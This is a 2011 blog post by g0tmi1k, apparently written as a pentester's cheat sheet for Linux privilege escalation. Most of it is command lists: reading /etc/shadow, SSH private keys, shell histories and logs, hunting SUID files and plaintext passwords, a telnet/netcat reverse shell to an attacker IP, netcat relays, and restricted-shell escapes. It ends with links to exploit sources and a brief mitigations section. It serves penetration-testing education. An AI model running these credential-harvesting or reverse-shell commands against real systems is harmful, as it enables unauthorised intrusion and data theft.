**Basic Linux Privilege Escalation**

Before starting, I would like to point out - **I'm no expert**. As far as I know, there isn't a "magic" answer, in this huge area. This is simply my finding, typed up, to be shared *(my*[*starting point*](http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html)*)*. Below is a mixture of commands to do the same thing, to look at things in a different place or just a different light. I know there more "things" to look for. It's just a **basic & rough guide**. Not every command will work for each system as Linux varies so much. "It" will not jump off the screen - you've to hunt for that *"little thing"* as "*the devil is in the detail*".

**Enumeration is the key.**

(Linux) privilege escalation is all about:

* Collect - ***Enumeration****, more enumeration and some more enumeration.*
* Process - *Sort through data,****analyse****and prioritisation.*
* Search - *Know what to search for and where to****find****the exploit code.*
* Adapt - ***Customize****the exploit, so it fits. Not every exploit work for every system "out of the box".*
* Try - *Get ready for (lots of)****trial and error****.*

**Operating System**

**What's the distribution type? *What version?***

|  |  |
| --- | --- |
| 1  2  3  4 | cat /etc/issue  cat /etc/\*-release  cat /etc/lsb-release # Debian based  cat /etc/redhat-release # Redhat based |

**What's the kernel version? *Is it 64-bit?***

|  |  |
| --- | --- |
| 1  2  3  4  5  6 | cat /proc/version  uname -a  uname -mrs  rpm -q kernel  dmesg | grep Linux  ls /boot | grep vmlinuz- |

**What can be learnt from the environmental variables?**

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7 | cat /etc/profile  cat /etc/bashrc  cat ~/.bash\_profile  cat ~/.bashrc  cat ~/.bash\_logout  env  set |

**Is there a printer?**

|  |  |
| --- | --- |
| 1 | lpstat -a |

**Applications & Services**

**What services are running? *Which service has which user privilege?***

|  |  |
| --- | --- |
| 1  2  3  4 | ps aux  ps -ef  top  cat /etc/services |

**Which service(s) are been running by *root? Of these services, which are vulnerable - it's worth a double check!***

|  |  |
| --- | --- |
| 1  2 | ps aux | grep root  ps -ef | grep root |

**What applications are installed? *What version are they? Are they currently running?***

|  |  |
| --- | --- |
| 1  2  3  4  5  6 | ls -alh /usr/bin/  ls -alh /sbin/  dpkg -l  rpm -qa  ls -alh /var/cache/apt/archivesO  ls -alh /var/cache/yum/ |

**Any of the service(s) settings misconfigured? *Are any (vulnerable) plugins attached?***

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7  8  9  10 | cat /etc/syslog.conf  cat /etc/chttp.conf  cat /etc/lighttpd.conf  cat /etc/cups/cupsd.conf  cat /etc/inetd.conf  cat /etc/apache2/apache2.conf  cat /etc/my.conf  cat /etc/httpd/conf/httpd.conf  cat /opt/lampp/etc/httpd.conf  ls -aRl /etc/ | awk '$1 ~ /^.\*r.\*/ |

**What jobs are scheduled?**

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7  8  9  10  11  12 | crontab -l  ls -alh /var/spool/cron  ls -al /etc/ | grep cron  ls -al /etc/cron\*  cat /etc/cron\*  cat /etc/at.allow  cat /etc/at.deny  cat /etc/cron.allow  cat /etc/cron.deny  cat /etc/crontab  cat /etc/anacrontab  cat /var/spool/cron/crontabs/root |

**Any plain text usernames and/or passwords?**

|  |  |
| --- | --- |
| 1  2  3  4 | grep -i user [filename]  grep -i pass [filename]  grep -C 5 "password" [filename]  find . -name "\*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla |

**Communications & Networking**

**What NIC(s) does the system have? *Is it connected to another network?***

|  |  |
| --- | --- |
| 1  2  3 | /sbin/ifconfig -a  cat /etc/network/interfaces  cat /etc/sysconfig/network |

**What are the network configuration settings? *What can you find out about this network? DHCP server? DNS server? Gateway?***

|  |  |
| --- | --- |
| 1  2  3  4  5  6 | cat /etc/resolv.conf  cat /etc/sysconfig/network  cat /etc/networks  iptables -L  hostname  dnsdomainname |

**What other users & hosts are communicating with the system?**

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7  8  9  10 | lsof -i  lsof -i :80  grep 80 /etc/services  netstat -antup  netstat -antpx  netstat -tulpn  chkconfig --list  chkconfig --list | grep 3:on  last  w |

**Whats cached? *IP and/or MAC addresses***

|  |  |
| --- | --- |
| 1  2  3 | arp -e  route  /sbin/route -nee |

**Is packet sniffing possible? What can be seen? *Listen to live traffic***

|  |  |
| --- | --- |
| 1 | tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21 |

*Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]*

**Have you got a shell? *Can you interact with the system?***

|  |  |
| --- | --- |
| 1  2  3 | nc -lvp 4444 # Attacker. Input (Commands)  nc -lvp 4445 # Attacker. Ouput (Results)  telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP! |

*Note:*[*http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/*](http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/)

**Is port forwarding possible? *Redirect and interact with traffic from another view***

*Note:*[*http://www.boutell.com/rinetd/*](http://www.boutell.com/rinetd/)

*Note:*[*http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch*](http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch)

*Note:*[*http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2\_1.zip*](http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip)

*Note: FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]*

|  |  |
| --- | --- |
| 1 | FPipe.exe -l 80 -r 80 -s 80 192.168.1.7 |

*Note: ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]*

|  |  |
| --- | --- |
| 1  2 | ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port  ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port |

*Note: mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe*

|  |  |
| --- | --- |
| 1  2  3 | mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe # Port Relay  mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)  mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080) |

**Is tunnelling possible? *Send commands locally, remotely***

|  |  |
| --- | --- |
| 1  2 | ssh -D 127.0.0.1:9050 -N [username]@[ip]  proxychains ifconfig |

**Confidential Information & Users**

**Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?**

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7  8  9 | id  who  w  last  cat /etc/passwd | cut -d: -f1 # List of users  grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users  awk -F: '($3 == "0") {print}' /etc/passwd # List of super users  cat /etc/sudoers  sudo -l |

**What sensitive files can be found?**

|  |  |
| --- | --- |
| 1  2  3  4 | cat /etc/passwd  cat /etc/group  cat /etc/shadow  ls -alh /var/mail/ |

**Anything "interesting" in the home directorie(s)? *If it's possible to access***

|  |  |
| --- | --- |
| 1  2 | ls -ahlR /root/  ls -ahlR /home/ |

**Are there any passwords in; scripts, databases, configuration files or log files? *Default paths and locations for passwords***

|  |  |
| --- | --- |
| 1  2  3 | cat /var/apache2/config.inc  cat /var/lib/mysql/mysql/user.MYD  cat /root/anaconda-ks.cfg |

**What has the user being doing? *Is there any password in plain text? What have they been edting?***

|  |  |
| --- | --- |
| 1  2  3  4  5 | cat ~/.bash\_history  cat ~/.nano\_history  cat ~/.atftp\_history  cat ~/.mysql\_history  cat ~/.php\_history |

**What user information can be found?**

|  |  |
| --- | --- |
| 1  2  3  4 | cat ~/.bashrc  cat ~/.profile  cat /var/mail/root  cat /var/spool/mail/root |

**Can private-key information be found?**

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7  8  9  10  11  12  13  14  15 | cat ~/.ssh/authorized\_keys  cat ~/.ssh/identity.pub  cat ~/.ssh/identity  cat ~/.ssh/id\_rsa.pub  cat ~/.ssh/id\_rsa  cat ~/.ssh/id\_dsa.pub  cat ~/.ssh/id\_dsa  cat /etc/ssh/ssh\_config  cat /etc/ssh/sshd\_config  cat /etc/ssh/ssh\_host\_dsa\_key.pub  cat /etc/ssh/ssh\_host\_dsa\_key  cat /etc/ssh/ssh\_host\_rsa\_key.pub  cat /etc/ssh/ssh\_host\_rsa\_key  cat /etc/ssh/ssh\_host\_key.pub  cat /etc/ssh/ssh\_host\_key |

**File Systems**

**Which configuration files can be written in /etc/? *Able to reconfigure a service?***

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7 | ls -aRl /etc/ | awk '$1 ~ /^.\*w.\*/' 2>/dev/null # Anyone  ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner  ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group  ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other  find /etc/ -readable -type f 2>/dev/null # Anyone  find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone |

**What can be found in /var/ ?**

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7 | ls -alh /var/log  ls -alh /var/mail  ls -alh /var/spool  ls -alh /var/spool/lpd  ls -alh /var/lib/pgsql  ls -alh /var/lib/mysql  cat /var/lib/dhcp3/dhclient.leases |

**Any settings/files (hidden) on website? *Any settings file with database information?***

|  |  |
| --- | --- |
| 1  2  3  4  5 | ls -alhR /var/www/  ls -alhR /srv/www/htdocs/  ls -alhR /usr/local/www/apache22/data/  ls -alhR /opt/lampp/htdocs/  ls -alhR /var/www/html/ |

Is there anything in the log file(s) *(Could help with "Local File Includes"!)*

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40 | cat /etc/httpd/logs/access\_log  cat /etc/httpd/logs/access.log  cat /etc/httpd/logs/error\_log  cat /etc/httpd/logs/error.log  cat /var/log/apache2/access\_log  cat /var/log/apache2/access.log  cat /var/log/apache2/error\_log  cat /var/log/apache2/error.log  cat /var/log/apache/access\_log  cat /var/log/apache/access.log  cat /var/log/auth.log  cat /var/log/chttp.log  cat /var/log/cups/error\_log  cat /var/log/dpkg.log  cat /var/log/faillog  cat /var/log/httpd/access\_log  cat /var/log/httpd/access.log  cat /var/log/httpd/error\_log  cat /var/log/httpd/error.log  cat /var/log/lastlog  cat /var/log/lighttpd/access.log  cat /var/log/lighttpd/error.log  cat /var/log/lighttpd/lighttpd.access.log  cat /var/log/lighttpd/lighttpd.error.log  cat /var/log/messages  cat /var/log/secure  cat /var/log/syslog  cat /var/log/wtmp  cat /var/log/xferlog  cat /var/log/yum.log  cat /var/run/utmp  cat /var/webmin/miniserv.log  cat /var/www/logs/access\_log  cat /var/www/logs/access.log  ls -alh /var/lib/dhcp3/  ls -alh /var/log/postgresql/  ls -alh /var/log/proftpd/  ls -alh /var/log/samba/  Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp |

*Note:*[*http://www.thegeekstuff.com/2011/08/linux-var-log-files/*](http://www.thegeekstuff.com/2011/08/linux-var-log-files/)

**If commands are limited, you break out of the "jail" shell?**

|  |  |
| --- | --- |
| 1  2  3 | python -c 'import pty;pty.spawn("/bin/bash")'  echo os.system('/bin/bash')  /bin/sh -i |

**How are file-systems mounted?**

|  |  |
| --- | --- |
| 1  2 | mount  df -h |

**Are there any unmounted file-systems?**

|  |  |
| --- | --- |
| 1 | cat /etc/fstab |

**What "Advanced Linux File Permissions" are used? *Sticky bits, SUID & GUID***

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7  8  9 | find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.  find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.  find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.  find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID  for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other \*bin, for SGID or SUID (Quicker search)  # find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)  find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null |

**Where can written to and executed from? *A few 'common' places: /tmp, /var/tmp, /dev/shm***

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7 | find / -writable -type d 2>/dev/null # world-writeable folders  find / -perm -222 -type d 2>/dev/null # world-writeable folders  find / -perm -o w -type d 2>/dev/null # world-writeable folders  find / -perm -o x -type d 2>/dev/null # world-executable folders  find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders |

**Any "problem" files? *Word-writeable, "nobody" files***

|  |  |
| --- | --- |
| 1  2 | find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files  find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files |

**Preparation & Finding Exploit Code**

**What development tools/languages are installed/supported?**

|  |  |
| --- | --- |
| 1  2  3  4 | find / -name perl\*  find / -name python\*  find / -name gcc\*  find / -name cc |

**How can files be uploaded?**

|  |  |
| --- | --- |
| 1  2  3  4  5 | find / -name wget  find / -name nc\*  find / -name netcat\*  find / -name tftp\*  find / -name ftp |

**Finding exploit code**

[http://www.exploit-db.com](http://www.exploit-db.com/)

[http://1337day.com](http://1337day.com/)

[http://www.securiteam.com](http://www.securiteam.com/)

[http://www.securityfocus.com](http://www.securityfocus.com/)

[http://www.exploitsearch.net](http://www.exploitsearch.net/)

<http://metasploit.com/modules/>

[http://securityreason.com](http://securityreason.com/)

<http://seclists.org/fulldisclosure/>

[http://www.google.com](http://www.google.com/)

**Finding more information regarding the exploit**

[http://www.cvedetails.com](http://www.cvedetails.com/)

http://packetstormsecurity.org/files/cve/[CVE]

http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]

http://www.vulnview.com/cve-details.php?cvename=[CVE]

**(Quick) "Common" exploits. *Warning. Pre-compiled binaries files. Use at your own risk***

[http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/](http://web.archive.org/web/20111118031158/http:/tarantula.by.ru/localroot/)

<http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/>

**Mitigations**

**Is any of the above information easy to find?**

Try doing it! Setup a cron job which automates script(s) and/or 3rd party products

**Is the system fully patched?**

*Kernel, operating system, all applications, their plugins and web services*

|  |  |
| --- | --- |
| 1  2 | apt-get update && apt-get upgrade  yum update |

**Are services running with the minimum level of privileges required?**

For example, do you need to run MySQL as root?

**Scripts *Can any of this be automated?!***

<http://pentestmonkey.net/tools/unix-privesc-check/>

<http://labs.portcullis.co.uk/application/enum4linux/>

[http://bastille-linux.sourceforge.net](http://bastille-linux.sourceforge.net/)

**Other (quick) guides & Links**

**Enumeration**

<http://www.0daysecurity.com/penetration-testing/enumeration.html>

<http://www.microloft.co.uk/hacking/hacking3.htm>

**Misc**

<http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf>

<http://pentest.cryptocity.net/files/operations/2009/post_exploitation_fall09.pdf>

<http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html>

Posted by g0tmi1kAug 2nd, 2011 12:00 am [bypassing](https://blog.g0tmi1k.com/bypassing/), [commands](https://blog.g0tmi1k.com/commands/), [privilege escalation](https://blog.g0tmi1k.com/privilege-escalation/)

[« Pentesting With BackTrack (PWB) + Offensive Security Certified Professional (OSCP)](https://blog.g0tmi1k.com/2011/07/pentesting-with-backtrack-pwb/)[De-ICE.net v1.2a (1.20a) {Level 1 - Disk 3 - Version A} »](https://blog.g0tmi1k.com/2011/08/de-icenet-v12a-120a-level-1-disk/)

[](https://blog.g0tmi1k.com/)

**Recent Posts**

* [DVWA - Brute Force (High Level) - Anti-CSRF Tokens](https://blog.g0tmi1k.com/dvwa/bruteforce-high/)
* [DVWA - Brute Force (Medium Level) - Time Delay](https://blog.g0tmi1k.com/dvwa/bruteforce-medium/)
* [DVWA Brute Force (Low Level) - HTTP GET Form [Hydra, Patator, Burp]](https://blog.g0tmi1k.com/dvwa/bruteforce-low/)
* [DVWA - Main Login Page - Brute Force HTTP POST Form With CSRF Tokens](https://blog.g0tmi1k.com/dvwa/login/)
* [Damn Vulnerable Web Application (DVWA)](https://blog.g0tmi1k.com/dvwa/index/)
* [Offensive Security Wireless Attacks (WiFu) + Offensive Security Wireless (OSWP)](https://blog.g0tmi1k.com/2014/01/offensive-security-wireless/)
* [Cracking the Perimeter (CTP) + Offensive Security Certified Expert (OSCE)](https://blog.g0tmi1k.com/2013/08/cracking-perimeter-ctp-offensive/)
* [pWnOS 2 (PHP Web Application)](https://blog.g0tmi1k.com/2012/09/pwnos-2-php-web-application/)
* [pWnOS 2 (SQL Injection)](https://blog.g0tmi1k.com/2012/09/pwnos-2-sql-injection/)
* [21LTR - Scene 1](https://blog.g0tmi1k.com/2012/09/21ltr-scene-1/)
* [Stripe CTF 2.0 (Web Edition)](https://blog.g0tmi1k.com/2012/09/stripe-ctf-20-web-edition/)
* [Kioptrix - Level 4 (Local File Inclusion)](https://blog.g0tmi1k.com/2012/02/kioptrix-level-4-local-file/)
* [Kioptrix - Level 4 (SQL Injection)](https://blog.g0tmi1k.com/2012/02/kioptrix-level-4-sql-injection/)
* [Kioptrix - Level 4 (Limited Shell)](https://blog.g0tmi1k.com/2012/02/kioptrix-level-4-limited-shell/)
* [Hackademic RTB2](https://blog.g0tmi1k.com/2012/01/hackademic-rtb2/)

[RSS Feed](https://blog.g0tmi1k.com/atom.xml) [GitHub Profile](https://github.com/g0tmi1k) [Twitter Profile](https://twitter.com/g0tmi1k) [Google Plus Profile](http://plus.google.com/110108403609022118432)

Copyright © 2009-2019 g0tmi1k